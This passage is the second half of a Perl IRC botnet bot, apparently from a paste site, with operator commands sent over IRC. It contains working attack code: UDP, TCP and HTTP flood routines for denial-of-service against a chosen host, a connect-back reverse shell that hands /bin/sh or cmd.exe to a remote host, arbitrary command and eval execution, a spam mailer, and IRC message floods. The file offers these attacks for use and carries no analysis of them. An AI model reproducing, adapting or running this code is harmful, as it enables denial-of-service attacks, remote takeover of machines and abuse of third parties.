  533.             $porta = int(rand 65000) +1 if ($porta == "0");
  534.             #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  535.             send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
  536.             }
  537.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
  538. }
  539. ##############
  540. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  541.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
  542.     my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  543.     $dtime = 1 if $dtime == 0;
  544.     my %bytes;
  545.     $bytes{igmp} = $2 * $pacotes{igmp};
  546.     $bytes{icmp} = $2 * $pacotes{icmp};
  547.     $bytes{o} = $2 * $pacotes{o};
  548.     $bytes{udp} = $2 * $pacotes{udp};
  549.     $bytes{tcp} = $2 * $pacotes{tcp};
  550.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  551. }
  552. ##############
  553. if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  554.     return unless $pacotes;
  555.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  556.     my $alvo=inet_aton("$1");
  557.     my $porta = "$2";
  558.     my $dtime = "$3";
  559.     my $pacote;
  560.     my $pacotese;
  561.     my $fim = time + $dtime;
  562.     my $pacota = 1;
  563.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  564.     while (($pacota == "1") && ($pacotes == "1")) {
  565.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  566.             $pacote= $rand x $rand x $rand;
  567.             $porta = int(rand 65000) +1 if ($porta == "0");
  568.             send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  569.             }
  570.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  571. }
  572. ##############
  573.  
  574. ##############
  575. if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  576.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
  577.     my $itime = time;
  578.     my ($cur_time);
  579.     $cur_time = time - $itime;
  580.     while ($3>$cur_time){
  581.     $cur_time = time - $itime;
  582.     &tcpflooder("$1","$2","$3");
  583. }
  584.     sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
  585. }
  586. ##############
  587. if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  588.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP FlooD] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
  589.     my $itime = time;
  590.     my ($cur_time);
  591.     $cur_time = time - $itime;
  592.     while ($2>$cur_time){
  593.     $cur_time = time - $itime;
  594.     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  595.     print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  596.     close($socket);
  597. }
  598.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP FlooD] 9,1Attacking ended on: 12".$1."9,1. ");
  599. }
  600. ##############
  601. if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
  602.     my $host = "$1";
  603.     my $port = "$2";
  604.     my $proto = getprotobyname('tcp');
  605.     my $iaddr = inet_aton($host);
  606.     my $paddr = sockaddr_in($port, $iaddr);
  607.     my $shell = "/bin/sh -i";
  608. if ($^O eq "MSWin32") {
  609.     $shell = "cmd.exe";
  610. }
  611.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Connect Back] 9,1Connecting to 12$host:$port ");
  612.     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  613.     connect(SOCKET, $paddr) or die "connect: $!";
  614.     open(STDIN, ">&SOCKET");
  615.     open(STDOUT, ">&SOCKET");
  616.     open(STDERR, ">&SOCKET");
  617.     system("$shell");
  618.     close(STDIN);
  619.     close(STDOUT);
  620.     close(STDERR);
  621. }
  622. ##############
  623. if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  624.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
  625.     $subject = $1;
  626.     $sender = $2;
  627.     $recipient = $3;
  628.     @corpo = $4;
  629.     $mailtype = "content-type: text/html";
  630.     $sendmail = '/usr/sbin/sendmail';
  631.     open (SENDMAIL, "| $sendmail -t");
  632.     print SENDMAIL "$mailtype\n";
  633.     print SENDMAIL "Subject: $subject\n";
  634.     print SENDMAIL "From: $sender\n";
  635.     print SENDMAIL "To: $recipient\n\n";
  636.     print SENDMAIL "@corpo\n\n";
  637.     close (SENDMAIL);
  638.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
  639. }
  640. exit;
  641. }
  642. }
  643. ##############
  644. if ($funcarg =~ /^ctcpflood (.*)/) {
  645.     my $target = "$1";
  646.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
  647.     for (1..10) {
  648.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  649.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  650.     }
  651. }
  652. ##############
  653. if ($funcarg =~ /^msgflood (.*)/) {
  654.     my $target = "$1";
  655.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRC Flood] 9,1MSG Flooding: 12".$target." ");
  656.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  657. }
  658. ##############
  659. if ($funcarg =~ /^noticeflood (.*)/) {
  660.     my $target = "$1";
  661.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRC Flood] 9,1NOTICE Flooding: 12".$target." ");
  662.     for (1..2){
  663.     sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  664.     }
  665. }
  666. ##############
  667.  
  668. ##############
  669. sub ircase {
  670. my ($kem, $printl, $case) = @_;
  671.    if ($case =~ /^join (.*)/) {
  672.      j("$1");
  673.    }
  674.    elsif ($case =~ /^part (.*)/) {
  675.       p("$1");
  676.    }
  677.    elsif ($case =~ /^rejoin\s+(.*)/) {
  678.       my $chan = $1;
  679.       if ($chan =~ /^(\d+) (.*)/) {
  680.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  681.           p("$2");
  682.           j("$2");
  683.         }
  684.       } else {
  685.           p("$chan");
  686.           j("$chan");
  687.       }
  688.    }
  689.    elsif ($case =~ /^op/) {
  690.       op("$printl", "$kem") if $case eq "op";
  691.       my $oarg = substr($case, 3);
  692.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  693.    }
  694.    elsif ($case =~ /^deop/) {
  695.       deop("$printl", "$kem") if $case eq "deop";
  696.       my $oarg = substr($case, 5);
  697.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  698.    }
  699.    elsif ($case =~ /^voice/) {
  700.       voice("$printl", "$kem") if $case eq "voice";
  701.       $oarg = substr($case, 6);
  702.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  703.    }
  704.    elsif ($case =~ /^devoice/) {
  705.       devoice("$printl", "$kem") if $case eq "devoice";
  706.       $oarg = substr($case, 8);
  707.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  708.    }
  709.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  710.       msg("$1", "$2");
  711.    }
  712.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  713.       for (my $cf = 1; $cf <= $1; $cf++) {
  714.         msg("$2", "$3");
  715.       }
  716.    }
  717.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  718.       ctcp("$1", "$2");
  719.    }
  720.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  721.       for (my $cf = 1; $cf <= $1; $cf++) {
  722.         ctcp("$2", "$3");
  723.       }
  724.    }
  725.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  726.       invite("$1", "$2");
  727.    }
  728.    elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
  729.        conectar("$2", "$1", "6667");
  730.    }
  731.    elsif ($case =~ /^nick (.*)/) {
  732.       nick("$1");
  733.    }
  734.    elsif ($case =~ /^raw (.*)/) {
  735.       sendraw("$1");
  736.    }
  737.    elsif ($case =~ /^eval (.*)/) {
  738.       eval "$1";
  739.    }
  740.    elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  741.     sleep int(rand($2));
  742.     j("$1");
  743.    }
  744.    elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  745.     sleep int(rand($2));
  746.     p("$1");
  747.    }
  748.    elsif ($case =~ /^quit/) {
  749.      quit();
  750.    }
  751. }
  752. ##############
  753. sub shell {
  754. my $printl=$_[0];
  755. my $comando=$_[1];
  756. if ($comando =~ /cd (.*)/) {
  757.     chdir("$1") || msg("$printl", "No such file or directory");
  758.     return;
  759. } elsif ($pid = fork) {
  760.     waitpid($pid, 0);
  761. } else {
  762. if (fork) {
  763.     exit;
  764. } else {
  765. my @resp=`$comando 2>&1 3>&1`;
  766. my $c=0;
  767. foreach my $linha (@resp) {
  768.   $c++;
  769.   chop $linha;
  770.   sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  771.   if ($c == "$linas_max") {
  772.     $c=0;
  773.     sleep $sleep;
  774.   }
  775. }
  776. exit;
  777. }
  778. }
  779. }
  780. ##############
  781. sub udpflooder {
  782. my $iaddr = inet_aton($_[0]);
  783. my $msg = 'A' x $_[1];
  784. my $ftime = $_[2];
  785. my $cp = 0;
  786. my (%pacotes);
  787.     $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  788.     socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  789.     socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  790.     socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  791.     socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  792.     return(undef) if $cp == 4;
  793. my $itime = time;
  794. my ($cur_time);
  795.     while ( 1 ) {
  796. for (my $port = 1;
  797.     $port <= 65000; $port++) {
  798.     $cur_time = time - $itime;
  799. last if $cur_time >= $ftime;
  800.     send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  801.     send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  802.     send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  803.     send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  804. for (my $pc = 3;
  805.     $pc <= 255;$pc++) {
  806. next if $pc == 6;
  807.     $cur_time = time - $itime;
  808. last if $cur_time >= $ftime;
  809.     socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  810.     send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  811. }
  812. }
  813. last if $cur_time >= $ftime;
  814. }
  815. return($cur_time, %pacotes);
  816. }
  817. ##############
  818. sub tcpflooder {
  819. my $itime = time;
  820. my ($cur_time);
  821. my ($ia,$pa,$proto,$j,$l,$t);
  822.     $ia=inet_aton($_[0]);
  823.     $pa=sockaddr_in($_[1],$ia);
  824.     $ftime=$_[2];
  825.     $proto=getprotobyname('tcp');
  826.     $j=0;$l=0;
  827.     $cur_time = time - $itime;
  828. while ($l<1000){
  829.     $cur_time = time - $itime;
  830. last if $cur_time >= $ftime;
  831.     $t="SOCK$l";
  832.     socket($t,PF_INET,SOCK_STREAM,$proto);
  833.     connect($t,$pa)||$j--;
  834.     $j++;$l++;
  835. }
  836.     $l=0;
  837. while ($l<1000){
  838.     $cur_time = time - $itime;
  839. last if $cur_time >= $ftime;
  840.     $t="SOCK$l";
  841. shutdown($t,2);
  842.     $l++;
  843. }
  844. }
  845. ##############
  846. sub msg {
  847.    return unless $#_ == 1;
  848.    sendraw("PRIVMSG $_[0] :$_[1]");
  849. }
  850. sub ctcp {
  851.    return unless $#_ == 1;
  852.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  853. }
  854. sub notice {
  855.    return unless $#_ == 1;
  856.    sendraw("NOTICE $_[0] :$_[1]");
  857. }
  858. sub op {
  859.    return unless $#_ == 1;
  860.    sendraw("MODE $_[0] +o $_[1]");
  861. }
  862. sub deop {
  863.    return unless $#_ == 1;
  864.    sendraw("MODE $_[0] -o $_[1]");
  865. }
  866. sub voice {
  867.    return unless $#_ == 1;
  868.    sendraw("MODE $_[0] +v $_[1]");
  869. }
  870. sub devoice {
  871.    return unless $#_ == 1;
  872.    sendraw("MODE $_[0] -v $_[1]");
  873. }
  874. sub j { &join(@_); }
  875. sub join {
  876.    return unless $#_ == 0;
  877.    sendraw("JOIN $_[0]");
  878. }
  879. sub p { part(@_); }
  880. sub part {sendraw("PART $_[0]");}
  881. sub nick {
  882.   return unless $#_ == 0;
  883.   sendraw("NICK $_[0]");
  884. }
  885. sub quit {
  886.   sendraw("QUIT :$_[0]");
  887.   exit;
  888. }
  889. sub modo {
  890.    return unless $#_ == 0;
  891.    sendraw("MODE $_[0] $_[1]");
  892. }
  893. sub mode { modo(@_); }
  894.  
  895. sub invite {
  896.    return unless $#_ == 1;
  897.    sendraw("INVITE $_[1] $_[0]");
  898. }
  899.  
  900. sub topico {
  901.    return unless $#_ == 1;
  902.    sendraw("TOPIC $_[0] $_[1]");
  903. }
  904. sub topic { topico(@_); }
  905.  
  906. sub away {
  907.   sendraw("AWAY $_[0]");
  908. }
  909. sub back { away(); }
  910.  
  911. }
  912.  
  913. ###################
  914. ##### [ EOF ] #####
  915. ###################
RAW Paste Data